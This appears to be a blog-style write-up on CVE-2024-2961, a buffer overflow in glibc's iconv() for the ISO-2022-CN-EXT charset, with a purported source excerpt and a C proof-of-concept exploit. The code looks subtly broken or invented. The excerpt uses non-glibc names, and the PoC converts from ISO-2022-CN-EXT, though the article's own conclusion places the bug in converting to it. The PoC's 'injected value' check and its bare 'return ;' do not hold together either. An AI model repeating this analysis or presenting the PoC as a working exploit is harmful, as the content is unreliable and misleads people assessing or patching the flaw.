Common Vulnerabilities and Exposures (CVE) are a system for keeping track of security vulnerabilities in various software packages. In this article, we will take a close look at CVE-2024-2961, which affects the GNU C Library (glibc), specifically the iconv() function. Glibc is a widely used low-level library in the Unix world and is, therefore, a crucial component of many systems and applications.

We will first give an overview of the bug, then delve into the source code, discussing how it can potentially lead to a buffer overflow, and finally, provide a proof of concept for this bug. While we know that systems running glibc versions 2.39 and older are affected, the impact of this bug is still uncertain. Hence, it is essential to understand its implications, mitigate, and stay vigilant as new information becomes available.

Overview of CVE-2024-2961

!iconv_function

The iconv() function in glibc is a critical part of the library, as it is responsible for converting strings between different character sets and encodings. It is commonly used for language localization, data import/export, and various communication protocols.

The bug, reported in the function's implementation for the ISO-2022-CN-EXT character set, leads to overflowing the output buffer passed to the iconv() function by up to four bytes. This could conceivably lead to a crash or even allow an attacker to overwrite neighbouring memory regions, potentially leading to code execution.

References

- GNU C Library (glibc) Homepage
- CVE-2024-2961 in the National Vulnerability Database

Understanding the Code Snippet

To better understand the issue, let's examine the relevant portion of the glibc code responsible for the ISO-2022-CN-EXT conversion.

static int
iso2022_cn_ext_mbtowc (conv_t conv, ucs4_t *pwc, const unsigned char *s, int n) {
  unsigned char buf[6]; /* The buffer where converted bytes are temporarily stored */
  ...
  /* Conversion logic, writing to buf */
  ...
  *pwc = *(const ucs4_t *)buf; /* Copies the contents of buf into pwc, a pointer to a wide character */
  return number_of_converted_bytes; /* Returns the number of bytes processed */
}

In the specific case of the ISO-2022-CN-EXT conversion, the buf array has a fixed size of 6 bytes. The problem is that the size of the converted character stored in buf might exceed the USHORT-aligned boundary. When this occurs, it can overwrite the nearby memory, causing potential crashes or unexpected behavior.

To demonstrate the vulnerability, let's consider the following example code

#include <fcntl.h>
#include <iconv.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main() {
  iconv_t cd = iconv_open("UTF-8", "ISO-2022-CN-EXT");
  if (cd == (iconv_t)-1) {
    perror("iconv_open");
    return 1;
  }

  const char input[] = "\x1B$)C\x30\x3D\x36";
  unsigned char modified_input[sizeof(input) + 4] = {};

  memcpy(modified_input, input, sizeof(input));
  memcpy(modified_input + sizeof(input), "\x41\x41\x41\x41", 4);

  char output[1024];
  char *inp = (char *)modified_input;
  char *outp = output;
  size_t inbytesleft = sizeof(modified_input);
  size_t outbytesleft = sizeof(output);

  if (iconv(cd, &inp, &inbytesleft, &outp, &outbytesleft) == (size_t)-1) {
    perror("iconv");
    iconv_close(cd);
    return 1;
  }

  unsigned int *injected_value = (unsigned int *)(output + sizeof(output) - 4);
  printf("Injected value: x%08X\n", *injected_value);

  iconv_close(cd);
  return ;
}

This proof-of-concept code first creates an ISO-2022-CN-EXT to UTF-8 conversion descriptor. It then prepares an input string with a six-byte ISO-2022-CN-EXT sequence, a copy of it, and a four-byte value, x41414141, appended at the end.

The iconv() function is then called with the modified input string, and if the vulnerability is present and exploitable, the four appended bytes (x41414141) should overwrite the last four bytes of the output buffer. If the exploit is successful, the program will print the injected value, confirming the buffer overflow.

In conclusion, CVE-2024-2961 is a potential buffer overflow vulnerability affecting the glibc's iconv() function when converting strings to the ISO-2022-CN-EXT character set. While still uncertain in its impact, understanding the bug helps identify affected systems, mitigate the issue, and emphasize the need for continued vigilance as new details arise.

Timeline

Published on: 04/17/2024 18:15:15 UTC
Last modified on: 05/04/2024 01:15:06 UTC